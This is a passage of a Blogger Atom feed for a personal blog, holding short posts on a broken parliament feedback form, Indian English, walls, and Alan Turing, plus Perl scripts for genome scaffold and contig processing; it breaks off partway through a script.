<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8350008403185423470</id><updated>2012-02-07T21:10:37.197-08:00</updated><category term='mail'/><category term='javascript'/><category term='translate'/><category term='news'/><category term='web'/><category term='new'/><category term='garden'/><category term='nature'/><category term='art'/><category term='compiler design'/><category term='application'/><category term='assembly'/><category term='firefox'/><category term='removal'/><category term='mouse'/><category term='inbox'/><category term='helmet'/><category term='RSL'/><category term='bird'/><category term='banglore'/><category term='fastest'/><category term='video'/><category term='eclipse'/><category term='camouflage'/><category term='basepad'/><category term='addon'/><category term='greasemonkey'/><category term='car'/><category term='scheme'/><category term='tech'/><category term='research'/><category term='SJCE'/><category term='java'/><category term='deer'/><category term='note'/><category term='biggest'/><category term='jsp'/><category term='game'/><category term='book'/><category term='blog'/><category term='PERL'/><category term='enzymeware'/><category term='energy'/><category term='blogger'/><category term='sqlserver2005'/><category term='monkey'/><category term='mysore'/><category term='kerala'/><category term='software'/><category term='unix'/><category term='unlcukify'/><category term='search'/><category term='joke'/><category term='worm'/><category term='posts'/><category term='robot battle'/><category term='Still sane'/><category term='flowers'/><category term='cochin'/><category term='google'/><category term='R'/><category term='tamil nadu'/><category term='amos'/><title type='text'>Nagarjun's blog</title><subtitle type='html'>Web, Tech, AI, Nature, Books, Weird</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default?start-index=101&amp;max-results=100'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>189</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-468130766549855001</id><published>2011-08-20T15:22:00.000-07:00</published><updated>2011-08-20T15:32:26.059-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Why you cannot give Feedback to the LS?</title><content type='html'>The recent Anna Hazare movement has been opposed by many. Intellectuals like &lt;b&gt;Nandan Nilekani &lt;/b&gt;among many others wanted the use better ways to comment or provide feedback to the parliament. &lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;I wonder if Mr&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;Nilekani has ever tried using the &lt;a href="http://164.100.47.132/LssNew/others/feedback.aspx"&gt;feedback&lt;/a&gt; form on the parliament of India website. The website which is &lt;span class="style13"&gt;designed and hosted by National Informatics Centre has a very interesting feature indeed :)&lt;br /&gt;&lt;br /&gt;It has excellent code which makes sure that feedback can never be submitted. If you don't believe me you can try it yourself. As soon as you type anything in the feedback form the javascript onkey event calls the validate function. This function is supposed to replace all special characters. However, the brilliant person who designed this included the ^ (caret) character in the "myC" array that lists all special characters. This results in all possible characters being matched by the Regular expression. Hence, anything thats typed into the feedback form gets deleted.&lt;br /&gt;&lt;br /&gt;If this is the situation in a website that can be easily verified by anybody with access to the internet. We can only imagine what happens to the feedback which actually manages to reach the Politicians after manging to escape the caret.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-468130766549855001?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/468130766549855001/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=468130766549855001' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/468130766549855001'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/468130766549855001'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2011/08/why-you-cannot-give-feedback-to-ls.html' title='Why you cannot give Feedback to the LS?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2096048207277797042</id><published>2011-07-04T03:10:00.001-07:00</published><updated>2011-07-09T02:42:52.870-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>English? Inglish? Or watever this is!!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-pipqaNjILpU/ThGR9O07sHI/AAAAAAAAAWQ/0e38Nc2KjZk/s1600/IMG_0612.JPG"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 200px; height: 150px;" src="http://3.bp.blogspot.com/-pipqaNjILpU/ThGR9O07sHI/AAAAAAAAAWQ/0e38Nc2KjZk/s200/IMG_0612.JPG" alt="" id="BLOGGER_PHOTO_ID_5625437890700619890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Recently, i found this(See picture) stamped on a bill from &lt;a href="http://www.mywestside.com/"&gt;westside&lt;/a&gt;. It says, "No Exchange on Sale Merchandise". My first thought was it meant "No Exchange on &lt;span style="font-weight: bold;"&gt;Sold&lt;/span&gt; Merchandise". Would this qualify for Inglish? May be the BBC would find it interesting enough to publish? A similar collection of images about &lt;a href="http://news.bbc.co.uk/2/hi/talking_point/8220166.stm"&gt;chinglish&lt;/a&gt; was published few years ago.&lt;br /&gt;&lt;br /&gt;The English may find that their language is being ruined. But is that the price that must be paid to be an international language? How much can a language be stretched and modified before it stops being itself?&lt;br /&gt;&lt;br /&gt;After further thought, it seemed that it actually meant "No Exchange on merchandise which is on 'Sale(Being sold at a lower price)' ". May be it is self evident as a measure to save on print space.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2096048207277797042?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2096048207277797042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2096048207277797042' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2096048207277797042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2096048207277797042'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2011/07/english-inglish-or-watever-this-is.html' title='English? Inglish? Or watever this is!!'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-pipqaNjILpU/ThGR9O07sHI/AAAAAAAAAWQ/0e38Nc2KjZk/s72-c/IMG_0612.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8549885087849037074</id><published>2011-06-01T07:41:00.000-07:00</published><updated>2011-06-01T07:57:14.261-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Hyperboloids of wondrous Light</title><content type='html'>" Hyperboloids of wondrous Light&lt;br /&gt;&lt;br /&gt;   Rolling for aye through Space and Time&lt;br /&gt;&lt;br /&gt;   Harbour those Waves which somehow Might&lt;br /&gt;  &lt;br /&gt;   Play out God's holy pantomime”&lt;br /&gt;&lt;br /&gt;This is what it says on the gravestone of Alan Turing, the code breaker who was involved in breaking the Enigma's cryptic codes. I like to think of these hyperboloids as the very essence of the universe. An explanation for the existence of our universe and development of intelligent life.&lt;br /&gt;&lt;br /&gt;Many would agree that the "genome" is indeed God's holy pantomime. It will not be surprising that it plays out not just in the living world but also in most things in the universe. A mathematical explanation for the way things happen. How probable is the development of intelligent life? Is the universe bound by rules that direct the formation of intelligent life? These are some questions that could shed light on the oldest questions that man has sought answers to.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8549885087849037074?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8549885087849037074/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8549885087849037074' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8549885087849037074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8549885087849037074'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2011/06/hyperboloids-of-wondrous-light.html' title='Hyperboloids of wondrous Light'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-486323323706990447</id><published>2011-04-20T03:21:00.000-07:00</published><updated>2011-04-20T03:31:35.220-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>The problem with walls</title><content type='html'>It is very common to have walls surrounding most buildings in tropical countries. However, walls are rare and fences are more common in the colder(LOL) countries. Is it just a question of style or does it have anything to do with the climate?&lt;br /&gt;&lt;br /&gt;Walls would make it easier for the snow to pileup around a building making it inaccessible. Removal of snow would also be complicated by the presence of solid structures hidden below layers of snow. Such obstructions would have to be properly marked, if heavy machinery is to be used for clearing the snow. Moreover, as the snow melts, walls without proper drainage could cause the formation of puddles and stagnation of water. These seem reasonable enough to have fences instead of walls.&lt;br /&gt;&lt;br /&gt;Forts had walls to act as a barrier to invading armies. With the advent of modern warfare, walls have lost their significance as defenses against human armies. Cattle and wild animals can be contained within or outside walls.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-486323323706990447?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/486323323706990447/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=486323323706990447' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/486323323706990447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/486323323706990447'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2011/04/problem-with-walls.html' title='The problem with walls'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3286442073985797792</id><published>2011-03-03T04:27:00.000-08:00</published><updated>2011-03-03T04:31:18.296-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PERL'/><category scheme='http://www.blogger.com/atom/ns#' term='assembly'/><title type='text'>Break scaffolds into Mate pairs</title><content type='html'>Could not find any programs that can merge a set of scaffolds. Hence, decided to break the scaffolds into mate pairs and use those for scaffolding. Below is a simple perl script to break scaffolds into all possible mate pairs in a format suitable for SSPACE (a hierarchical scaffolder). It can easily be modified to work for BAMBUS or any other scaffolder or assembler.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#AUTHOR&lt;br /&gt;# Nagarjun Vijay (c) 2011&lt;br /&gt;# mate maker.pl - program to break scaffolds into mate pairs&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;#DATE&lt;br /&gt;#   3rd March 2011&lt;br /&gt;#  &lt;br /&gt;&lt;br /&gt;use strict;&lt;br /&gt;&lt;br /&gt;my $scafile=$ARGV[0];&lt;br /&gt;&lt;br /&gt;#reading the scaffold sequences&lt;br /&gt;open SCAF, "&lt;",$scafile or die $!;&lt;br /&gt;&lt;br /&gt;#open contigs file&lt;br /&gt;open CONTIG, "&gt;&gt;",$scafile . ".contigs.fa" or die $!;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#open contigs file&lt;br /&gt;open LIB, "&gt;&gt;",$scafile . ".lib" or die $!;&lt;br /&gt;&lt;br /&gt;my ($scaffoldcount,$seqst_temp,$contigcount,$notscaffoldcount,$z,$head,$i,$j,$libcount);&lt;br /&gt;$scaffoldcount=0,$seqst_temp="",$contigcount=0,$notscaffoldcount=0,$libcount=0;&lt;br /&gt;my $header = &lt;scaf&gt;;#reading the first header&lt;br /&gt;&lt;br /&gt;while($z = &lt;scaf&gt;){&lt;br /&gt;if($z=~ /&gt;/)&lt;br /&gt;    {&lt;br /&gt;    #split scaffold into contigs&lt;br /&gt;    if($seqst_temp=~ m/[N]+/){#is really a scaffold&lt;br /&gt;    $scaffoldcount++;&lt;br /&gt;    $contigcount +=SplitScaffold($seqst_temp);&lt;br /&gt;    }#end of scaffold check if&lt;br /&gt;    else{#not a scaffold - so not writing into breaker file&lt;br /&gt;    $head="&gt;unbreak";&lt;br /&gt;    $notscaffoldcount++;&lt;br /&gt;    print CONTIG $head . "" . $notscaffoldcount ."\n";&lt;br /&gt;    print CONTIG "$seqst_temp\n";&lt;br /&gt;    }#end of scaffold check else&lt;br /&gt;&lt;br /&gt;    #next sequence&lt;br /&gt;    $seqst_temp="";&lt;br /&gt;    }&lt;br /&gt;else&lt;br /&gt;    {&lt;br /&gt;    $z =~ s/[\n\t\f\r_0-9\s]//g;&lt;br /&gt;    $seqst_temp .= $z;&lt;br /&gt;    }&lt;br /&gt;}#end of File while loop&lt;br /&gt;&lt;br /&gt;    if($seqst_temp=~ m/[N]+/){#is really a scaffold&lt;br /&gt;    $scaffoldcount++;&lt;br /&gt;    $contigcount +=SplitScaffold($seqst_temp);&lt;br /&gt;    }#end of scaffold check if&lt;br /&gt;    else{#not a scaffold - so not writing into breaker file&lt;br /&gt;    $head="&gt;unbreak";&lt;br /&gt;    $notscaffoldcount++;&lt;br /&gt;    print CONTIG $head . "" . $notscaffoldcount ."\n";&lt;br /&gt;    print CONTIG "$seqst_temp\n";&lt;br /&gt;    }#end of scaffold check else&lt;br /&gt;close SCAF;&lt;br /&gt;close CONTIG;&lt;br /&gt;&lt;br /&gt;#Split scaffolds, write contigs and breaker file&lt;br /&gt;sub SplitScaffold{&lt;br /&gt;  my $seq = shift;&lt;br /&gt;  my ($head,$num,$contigs,$n);&lt;br /&gt;  $head="&gt;breaker$scaffoldcount";&lt;br /&gt;  $num=1,$contigs=1;&lt;br /&gt;  my @values=split(/([N]+)/,$seq);&lt;br /&gt;  my $vallen= scalar (@values);&lt;br /&gt;  for($i=0;$i&lt;$vallen;$i++) {&lt;br /&gt;  my $val=$values[$i];&lt;br /&gt;  if(($num % 2) == 0){&lt;br /&gt;  $n = length $val;&lt;br /&gt;  }&lt;br /&gt;  else{&lt;br /&gt;  print CONTIG $head . "" . $contigs ."\n";&lt;br /&gt;  print CONTIG "$val\n";&lt;br /&gt;  $contigs++;&lt;br /&gt;  my $matedist=(length $values[$i])+(length $values[$i+1])+(length $values[$i+2]);&lt;br /&gt;  for($j=$i+2;$j&lt;$vallen;$j=$j+2){&lt;br /&gt;  print LIB "lib".$libcount." l".$libcount."s".$scaffoldcount."b".$i.".fasta l".$libcount."s".$scaffoldcount."b".$j.".fasta ".$matedist." 0.75 0\n";&lt;br /&gt;  $matedist=$matedist+(length $values[$j+1])+(length $values[$j+2]);&lt;br /&gt;  open READ1, "&gt;&gt;","l".$libcount."s".$scaffoldcount."b".$i.".fasta" or die $!;&lt;br /&gt;  open READ2, "&gt;&gt;","l".$libcount."s".$scaffoldcount."b".$j.".fasta" or die $!;&lt;br /&gt;  print READ1 "&gt;l".$libcount."s".$scaffoldcount."b".$i."\n";&lt;br /&gt;  print READ1 $values[$i]."\n";&lt;br /&gt;  print READ2 "&gt;l".$libcount."s".$scaffoldcount."b".$j."\n";&lt;br /&gt;  print READ2 reverseComplement($values[$j])."\n";&lt;br /&gt;  close READ1;&lt;br /&gt;  close READ2;&lt;br /&gt;  $libcount++;&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  }&lt;br /&gt;  $num++;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  return $contigs;&lt;br /&gt;}&lt;br /&gt;#reverse complement a sequence&lt;br /&gt;sub reverseComplement{&lt;br /&gt;   $_ = shift;&lt;br /&gt;   tr/ATGC/TACG/;&lt;br /&gt;   return (reverse());&lt;br /&gt;}&lt;br /&gt;#end of Breaker&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3286442073985797792?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3286442073985797792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3286442073985797792' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3286442073985797792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3286442073985797792'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2011/03/break-scaffolds-into-mate-pairs.html' title='Break scaffolds into Mate pairs'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3114131093021552714</id><published>2011-02-22T13:51:00.000-08:00</published><updated>2011-02-22T13:58:01.666-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PERL'/><category scheme='http://www.blogger.com/atom/ns#' term='amos'/><title type='text'>convert Fasta files into TIGR .contig file</title><content type='html'>During the process of converting Fasta files with gaps to AFG format, one step required generation of &lt;a href="http://www.cbcb.umd.edu/research/contig_representation.shtml#contig"&gt;TIGR .contig format&lt;/a&gt;. Given below is a simple script to generate a dummy .contig file which has just one read for each contig which is exactly the same as the contig. This is done due to the lack of read tracking in SOAP, SSPACE etc. and also to avoid the huge file size if all the reads are retained.&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;open FASTA, "&lt; $ARGV[0]" or die "Can't open $ARGV[0] ($!)\n";&lt;br /&gt;&lt;br /&gt;while($z=&lt;fasta&gt;){&lt;br /&gt;&lt;br /&gt;if($z=~ /&gt;/)&lt;br /&gt;    {&lt;br /&gt;    chomp $z;&lt;br /&gt;    $header=(split(/&gt;/,$z))[1];&lt;br /&gt;    $readid=(split(/_/,$header))[1];&lt;br /&gt;    $seq=&lt;fasta&gt;;&lt;br /&gt;    chomp $seq;&lt;br /&gt;    $seqlen=length $seq;&lt;br /&gt;    print "##$header 1 $seqlen bases, 00000000 checksum.\n";&lt;br /&gt;    print "$seq\n";&lt;br /&gt;    print "#$readid(0) [] $seqlen bases, 00000000 checksum. {$seqlen 0} &lt;1&gt;\n";&lt;br /&gt;    print "$seq\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;save it as fasta2contig.pl and use as "perl fasta2contig.pl contig.fa"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3114131093021552714?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3114131093021552714/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3114131093021552714' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3114131093021552714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3114131093021552714'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2011/02/convert-fasta-files-into-tigr-contig.html' title='convert Fasta files into TIGR .contig file'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3853773031171922753</id><published>2011-01-20T02:56:00.000-08:00</published><updated>2011-01-20T03:01:15.107-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='assembly'/><title type='text'>Minimus2 larger datasets with Nucmer</title><content type='html'>While Blat is much more faster than Nucmer, its results can be very different from the results from Nucmer. A version of Minimus2 which splits the data before feeding it to Nucmer and merging it back before processing further is able to give a result which is almost always identical to the results from Nucmer. The changes required to be done are given below:&lt;br /&gt;&lt;br /&gt;NUCMER        = nucmer&lt;br /&gt;DELTAFILTER    = delta-filter&lt;br /&gt;SHOWCOORDS    = show-coords&lt;br /&gt;RUNNUCMER    = perl runnucmer.pl&lt;br /&gt;#------------------------------------------------------------------------------#&lt;br /&gt;&lt;br /&gt;## Building AMOS bank &amp;amp; Dumping reads&lt;br /&gt;10: rm -fr $(BANK)&lt;br /&gt;11: $(BINDIR)/bank-transact -c -z -b $(BANK) -m $(TGT)&lt;br /&gt;12: $(BINDIR)/dumpreads $(BANK) -M $(REFCOUNT) &gt; $(REFSEQ)&lt;br /&gt;13: $(BINDIR)/dumpreads $(BANK) -m $(REFCOUNT) &gt; $(QRYSEQ)&lt;br /&gt;&lt;br /&gt;## Getting overlaps&lt;br /&gt;20: $(RUNNUCMER) $(OVERLAP) $(REFSEQ) $(QRYSEQ) $(PREFIX)&lt;br /&gt;21: $(SHOWCOORDS) -H -c -l -o -r -I $(MINID) $(ALIGN) | $(BINDIR)/nucmerAnnotate | egrep 'BEGIN|END|CONTAIN|IDENTITY' &gt; $(COORDS)&lt;br /&gt;22: $(BINDIR)/nucmer2ovl -ignore $(MAXTRIM) -tab $(COORDS) | $(BINDIR)/sort2 &gt; $(OVLTAB)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The code for runnucmer.pl is given below:&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;$allowedsize=100000000;&lt;br /&gt;&lt;br /&gt;$overlap=$ARGV[0];&lt;br /&gt;$mainref=$ARGV[1];&lt;br /&gt;$mainqry=$ARGV[2];&lt;br /&gt;$mainpre=$ARGV[3];&lt;br /&gt;$reflen=0;&lt;br /&gt;$refcount=1;&lt;br /&gt;&lt;br /&gt;$qrylen=0;&lt;br /&gt;$qrycount=1;&lt;br /&gt;&lt;br /&gt;#open first ref file&lt;br /&gt;open FILE1, "&gt;&gt;",$mainpre."ref".$refcount or die $!;&lt;br /&gt;&lt;br /&gt;#reading the refrence sequences&lt;br /&gt;open FILE2, "&lt;",$mainref or die $!;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$seqst_temp="";&lt;br /&gt;$header = &lt;file2&gt;;#reading the first header&lt;br /&gt;&lt;br /&gt;while($z = &lt;file2&gt;){&lt;br /&gt;if($z=~ /&gt;/)&lt;br /&gt;    {#next sequence&lt;br /&gt;    $reflen=$reflen+length $seqst_temp;&lt;br /&gt;    if($reflen &lt; $allowedsize)&lt;br /&gt;        {&lt;br /&gt;        print FILE1 $header;&lt;br /&gt;        print FILE1 $seqst_temp;&lt;br /&gt;        print FILE1 "\n";&lt;br /&gt;        }&lt;br /&gt;    else&lt;br /&gt;        {&lt;br /&gt;        $refcount++;&lt;br /&gt;        $reflen=0;&lt;br /&gt;        close FILE1;&lt;br /&gt;        open FILE1, "&gt;&gt;",$mainpre."ref".$refcount or die $!;&lt;br /&gt;        print FILE1 $header;&lt;br /&gt;        print FILE1 $seqst_temp;&lt;br /&gt;        print FILE1 "\n";&lt;br /&gt;        }&lt;br /&gt;    $header=$z;&lt;br /&gt;    $seqst_temp="";&lt;br /&gt;    }&lt;br /&gt;else&lt;br /&gt;    {&lt;br /&gt;    $z =~ s/[\n\t\f\r_0-9\s]//g;&lt;br /&gt;    $seqst_temp .= $z;&lt;br /&gt;    }&lt;br /&gt;}#end of File while loop&lt;br /&gt;&lt;br /&gt;    if($reflen &lt; $allowedsize)&lt;br /&gt;        {&lt;br /&gt;        print FILE1 $header;&lt;br /&gt;        print FILE1 $seqst_temp;&lt;br /&gt;        print FILE1 "\n";&lt;br /&gt;        }&lt;br /&gt;    else&lt;br /&gt;        {&lt;br /&gt;        $refcount++;&lt;br /&gt;        $reflen=0;&lt;br /&gt;        close FILE1;&lt;br /&gt;        open FILE1, "&gt;&gt;",$mainpre."ref".$refcount or die $!;&lt;br /&gt;        print FILE1 $header;&lt;br /&gt;        print FILE1 $seqst_temp;&lt;br /&gt;        print FILE1 "\n";&lt;br /&gt;        }&lt;br /&gt;    $header=$z;&lt;br /&gt;    $seqst_temp="";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;close FILE1;&lt;br /&gt;close FILE2;&lt;br /&gt;&lt;br /&gt;#open first qry file&lt;br /&gt;open FILE1, "&gt;&gt;",$mainpre."qry".$qrycount or die $!;&lt;br /&gt;&lt;br /&gt;#reading the refrence sequences&lt;br /&gt;open FILE2, "&lt;",$mainqry or die $!;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$seqst_temp="";&lt;br /&gt;$header = &lt;file2&gt;;#reading the first header&lt;br /&gt;&lt;br /&gt;while($z = &lt;file2&gt;){&lt;br /&gt;if($z=~ /&gt;/)&lt;br /&gt;    {#next sequence&lt;br /&gt;    $qrylen=$qrylen+length $seqst_temp;&lt;br /&gt;    if($qrylen &lt; $allowedsize)&lt;br /&gt;        {&lt;br /&gt;        print FILE1 $header;&lt;br /&gt;        print FILE1 $seqst_temp;&lt;br /&gt;        print FILE1 "\n";&lt;br /&gt;        }&lt;br /&gt;    else&lt;br /&gt;        {&lt;br /&gt;        $qrycount++;&lt;br /&gt;        close FILE1;&lt;br /&gt;        $qrylen=0;&lt;br /&gt;        open FILE1, "&gt;&gt;",$mainpre."qry".$qrycount or die $!;&lt;br /&gt;        print FILE1 $header;&lt;br /&gt;        print FILE1 $seqst_temp;&lt;br /&gt;        print FILE1 "\n";&lt;br /&gt;        }&lt;br /&gt;    $header=$z;&lt;br /&gt;    $seqst_temp="";&lt;br /&gt;    }&lt;br /&gt;else&lt;br /&gt;    {&lt;br /&gt;    $z =~ s/[\n\t\f\r_0-9\s]//g;&lt;br /&gt;    $seqst_temp .= $z;&lt;br /&gt;    }&lt;br /&gt;}#end of File while loop&lt;br /&gt;&lt;br /&gt;    if($qrylen &lt; $allowedsize)&lt;br /&gt;        {&lt;br /&gt;        print FILE1 $header;&lt;br /&gt;        print FILE1 $seqst_temp;&lt;br /&gt;        print FILE1 "\n";&lt;br /&gt;        }&lt;br /&gt;    else&lt;br /&gt;        {&lt;br /&gt;        $qrycount++;&lt;br /&gt;        close FILE1;&lt;br /&gt;        $qrylen=0;&lt;br /&gt;        open FILE1, "&gt;&gt;",$mainpre."qry".$qrycount or die $!;&lt;br /&gt;        print FILE1 $header;&lt;br /&gt;        print FILE1 $seqst_temp;&lt;br /&gt;        print FILE1 "\n";&lt;br /&gt;        }&lt;br /&gt;    $header=$z;&lt;br /&gt;    $seqst_temp="";&lt;br /&gt;&lt;br /&gt;close FILE1;&lt;br /&gt;close FILE2;&lt;br /&gt;&lt;br /&gt;for($i=1;$i&lt;=$qrycount;$i++){&lt;br /&gt;    for($j=1;$j&lt;=$refcount;$j++){&lt;br /&gt;    $refseq=$mainpre."ref".$j;&lt;br /&gt;    $qryseq=$mainpre."qry".$i;&lt;br /&gt;    $prefix=$mainpre."nuc".$j."".$i;&lt;br /&gt;    system("/bubo/home/h7/nagarjun/glob/tools/MUMmer3.22/nucmer -maxmatch -c $overlap $refseq $qryseq -p $prefix");&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#merging delta files&lt;br /&gt;open FILE1, "&gt;&gt;",$mainpre.".delta" or die $!;&lt;br /&gt;for($i=1;$i&lt;=$qrycount;$i++){&lt;br /&gt;    for($j=1;$j&lt;=$refcount;$j++){&lt;br /&gt;    open FILE2, "&lt;",$mainpre."nuc".$j."".$i.".delta" or die $!;&lt;br /&gt;        